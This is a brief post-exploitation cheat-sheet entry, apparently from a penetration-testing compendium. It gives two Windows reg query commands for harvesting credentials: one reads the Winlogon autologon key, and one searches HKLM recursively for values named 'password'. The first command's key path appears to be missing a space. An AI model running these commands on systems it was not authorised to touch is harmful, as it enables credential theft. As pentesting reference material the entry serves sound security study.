killchain-compendium/Post Exploitation/Windows/Registry.md

# Windows Registry

## AutoLogin Password

Automatic logon password is save in plaintext

```
reg query "HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon"
```

## Search for Passwords

Use `reg` to search for passwords inside Keys of the registry via the following line.

```
reg query HKLM /f "password" /t REG_SZ /s
```